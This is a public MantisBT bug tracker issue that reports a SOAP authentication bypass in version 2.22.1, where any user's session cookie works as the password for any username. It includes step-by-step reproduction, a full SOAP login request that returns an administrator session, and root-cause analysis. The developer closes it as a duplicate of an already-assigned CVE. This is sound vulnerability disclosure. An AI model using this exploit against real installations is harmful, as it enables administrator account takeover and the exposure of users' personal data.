View Issue Details

IDProjectCategoryView StatusLast Update
0037194mantisbtsecuritypublic2026-11-22 16:13
Reporterchndlrx Assigned Todregad  
PriorityurgentSeveritymajorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.22.1 
Summary0037194: SOAP Authentication Bypass via Cookie-as-Password
Description

Authentication bypass in mci_check_login (api/soap/mc_api.php) in MantisBT 2.22.1 and earlier. The function accepts any user's MANTIS_STRING_COOKIE value as the SOAP password regardless of which username the request asserts — the resolved cookie owner is never compared against the supplied username — so any authenticated user (including the lowest-tier reporter) can call any mc_* SOAP RPC as any other user, including the built-in administrator. Full account takeover from a reporter role with no further preconditions.

Steps To Reproduce
  1. Validate MantisBT version on https://<HOST>/login_page.php (the footer displays it) or by reading define( 'MANTIS_VERSION', '2.22.1' ); in core/constant_inc.php.
  2. Authenticate as any user, including the lowest-tier reporter, against https://<HOST>/login.php. The response includes Set-Cookie: MANTIS_STRING_COOKIE=<value>. Record the cookie value.
  3. Send a SOAP mc_login envelope to https://<HOST>/api/soap/mantisconnect.php with username=administrator and password=<the cookie_string captured in step 2>:
POST /api/soap/mantisconnect.php HTTP/1.1
Host: <HOST>
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:tns="http://futureware.biz/mantisconnect"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <SOAP-ENV:Body>
    <tns:mc_login>
      <username xsi:type="xsd:string">administrator</username>
      <password xsi:type="xsd:string">cookie_acbed91b0719d77b42897a6d0bebee2a</password>
    </tns:mc_login>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope ...>
  <SOAP-ENV:Body>
    <ns1:mc_loginResponse>
      <return xsi:type="ns1:UserData">
        <account_data xsi:type="ns1:AccountData">
          <id xsi:type="xsd:integer">1</id>
          <name xsi:type="xsd:string">administrator</name>
          <email xsi:type="xsd:string">root@localhost</email>
        </account_data>
        <access_level xsi:type="xsd:integer">90</access_level>
      </return>
    </ns1:mc_loginResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
  1. Verify privileges by replaying the same username and password against an administrator-only RPC such as mc_project_get_users with project_id=0 and access=10; the response enumerates every user account including email addresses and access levels. A blank or randomly-generated password against the same envelope returns faultstring=Access denied, proving that the bypass triggers only when the supplied password matches some user's cookie_string and that the username is not cross-checked against the cookie's owner.
Additional Information

mci_check_login at api/soap/mc_api.php:487-528 resolves the supplied $p_password through auth_user_id_from_cookie( $p_password ). When the password matches any row's cookie_string value in mantis_user_table, the function calls auth_attempt_script_login( $p_username, null ) with the caller-supplied username and a null password. The user id returned by auth_user_id_from_cookie is never compared against the user id that the supplied username resolves to.

auth_attempt_script_login in core/authentication_api.php:632 skips password validation entirely when the password argument is null (the comment one line above acknowledges the risk and adds the same protection for the password-login branch — but not for the cookie branch). The result is that any authenticated user, knowing only their own MANTIS_STRING_COOKIE value (which the application sets in their own browser at login), can submit that cookie as the SOAP password alongside any other username and receive a full authenticated context as that other user.


  • Primary: CWE-287 (Improper Authentication)
  • Secondary: CWE-639 (Authorization Bypass Through User-Controlled Key)

Github: chndlrx

TagsNo tags attached.

Relationships

duplicate of 0037121 closeddregad CVE-2026-47156: SOAP API Authentication Bypass -> Privilege Escalation to Administrator 

Activities

chndlrx

chndlrx

2026-05-27 10:52

reporter   ~0071176

Critical — CVSS 4.0 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

dregad

dregad

2026-06-01 04:26

developer   ~0071210

Many thanks for your report.

This vulnerability is already known, it was reported to us a couple weeks ago by another researcher (see 0037121, currently private). CVE-2026-47156 has been assigned. A patch is pending review and should be released in the next few days.

If you'd like to review and test the patch, let me know.

I'm closing this as duplicate.